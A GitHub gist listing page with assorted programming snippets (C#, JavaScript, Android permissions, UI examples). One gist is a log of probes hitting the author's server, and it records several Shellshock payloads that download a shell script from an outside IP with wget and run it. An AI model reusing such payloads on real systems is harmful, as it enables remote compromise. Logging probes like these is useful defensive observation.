Skip to content

Instantly share code, notes, and snippets.

View greggman's full-sized avatar
😁

Greggman greggman

😁
View GitHub Profile
@greggman
greggman / inspect.cs
Created November 30, 2014 22:22
Print out stuff about fields of an object in C#
Vector2 v = new Vector2(2f,3f);
System.Text.StringBuilder s = new System.Text.StringBuilder();
System.Reflection.FieldInfo[] fields = v.GetType().GetFields();
s.Append("numField: " + fields.Length + "\n");
// foreach (System.Reflection.FieldInfo info in fields) {
for (int ii = 0; ii < fields.Length; ++ii) {
System.Reflection.FieldInfo info = fields[ii];
System.Type t = info.GetType();
s.Append("[" + ii + "]");
s.Append(info.Name);
@greggman
greggman / serialize.cs
Created December 2, 2014 21:55
How to serialize primitives in a generic way
// ------------------------------------------------------------------------------
// <autogenerated>
// This code was generated by a tool.
// Mono Runtime Version: 4.0.30319.1
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
// </autogenerated>
// ------------------------------------------------------------------------------
using System;
@greggman
greggman / gist:18953af231c9bf79cb12
Last active August 29, 2015 14:10
What could possibly happen when typing a single key in the Chrome omnibox

#Lifetime of an omnibox key press:

The stuff below is all made up. I have not worked on the omnibox in Chrome. But I wouldn't be surprised if this is close to reality.

  • Should we initiate an IME? Chrome has one built in.
    • I'm sure there's lots of allocations required for an IME but let's skip those
  • Create request to ask Google for things that match what we're typing
  • Create HTTP request data to send in request. Let's assume it's UTF8 json like {query:"k"}.
  • Note: Being UTF-8 we're going to have to write that query on the fly.
@greggman
greggman / prototypical vs classical.md
Last active October 7, 2015 16:06
Words by Douglas Crockford

Classical (nearly every other language) vs Prototypal (javascripts) objects

The prototypal school has a lot of advantages particularly compared to the classical school

So in the classical school you have to create a classification of all the objects that are likely to be in your system. And, it's a lot of work to figure out what they all are and identify them and what their characteristics are and so on and then you have to determine how they are all related to each other, what’s going to inherit from what, what’s going to implement what, what’s going to interface with what, and that’s really complicated. And it usually happens at the beginning of the project before you fully understand what all this stuff means. So it’s likely your going to get the taxonomy wrong. It’s inevitable.

And then you’ve got two hard choices. One is you have to live with a broken taxonomy and if you do that then with each new class you introduce things get weirder and weirder because everything’s wrong, or you have to refactor

@greggman
greggman / fba-vs-fb.md
Last active August 29, 2015 14:18
Android Permissions Facebook App vs Facebook Messenger as of 2015/03/30
FBA FBM This app has access to:   FBA = Facebook App, FBM = Facebook Messenger
        Device & app history
 *         retrieve running apps
        
        Identity
 *         add or remove accounts
 *   *     read your own contact card
 *   *     find accounts on the device

Calendar

@greggman
greggman / get.md
Created April 5, 2015 07:46
requests when on public networks
[Sat, 04 Apr 2015 15:43:20 GMT] "GET /tmUnblock.cgi" "undefined"
[Sat, 04 Apr 2015 15:43:22 GMT] "GET /" "undefined"
[Sat, 04 Apr 2015 16:33:00 GMT] "GET /cgi-bin/authLogin.cgi" "() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../php && /usr/bin/wget -c http://185.14.30.79/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1 "
[Sat, 04 Apr 2015 16:46:28 GMT] "GET /cgi-bin/authLogin.cgi" "() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../php && /usr/bin/wget -c http://185.14.30.79/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1 "
[Sat, 04 Apr 2015 20:27:30 GMT] "GET /cgi-bin/authLogin.cgi" "() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../php && /usr/bin/wget -c http://185.14.30.79/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1 "
[Sat, 04 Apr 2015 21:20:15 GMT] "POST /zxiptv/" "Mozilla/5.0"
[Sat, 04 Apr 2015 21:20:20 GMT] "POST /3/" "Mozilla/5.0"
[Sat, 04 Apr 2015 21:20:24 GMT] "POST /1/" "Mozilla/5.0"
[Sat, 04 Apr 2015 21:20:28 GMT] "POST /java/" "Mozil
@greggman
greggman / use-strict.md
Last active August 29, 2015 14:18
Can it really be right that strict mode in JavaScript can break your code?

So I had a sample that wasn't working in firefox. It had code like ths

"use strict";
var devicePixelRation = window.devicePixelRatio || 1;

That worked fine on Chrome but broke on Firefox with

TypeError: setting a property that has only a getter

So first thing I learned something I didn't know. Variables declared with var in the global scope

@greggman
greggman / Gruntfilt.js
Last active August 29, 2015 14:21
Gruntfile for Shu
"use strict";
module.exports = function(grunt) {
// Project configuration.
grunt.initConfig({
uglify: {
my_target: {
options: {
wrap: true,
@greggman
greggman / RAF off when blurred
Created August 5, 2015 16:29
RAF with pause on blur
// To use call
//
// run(mainLoopFn);
//
// Where mainLoopFn is a function you want to be called every frame
function run(fn) {
var requestId;
function requestLoop(result) {
@greggman
greggman / GUI.cs
Created August 8, 2015 18:54
Example of Unity GUI vs IMGUI
// IMGUI
ImGui::Text("Hello, world %d", 123);
if (ImGui::Button("OK"))
{
// do stuff
}
ImGui::InputText("string", buf, 256);
ImGui::SliderFloat("float", &f, 0.0f, 1.0f);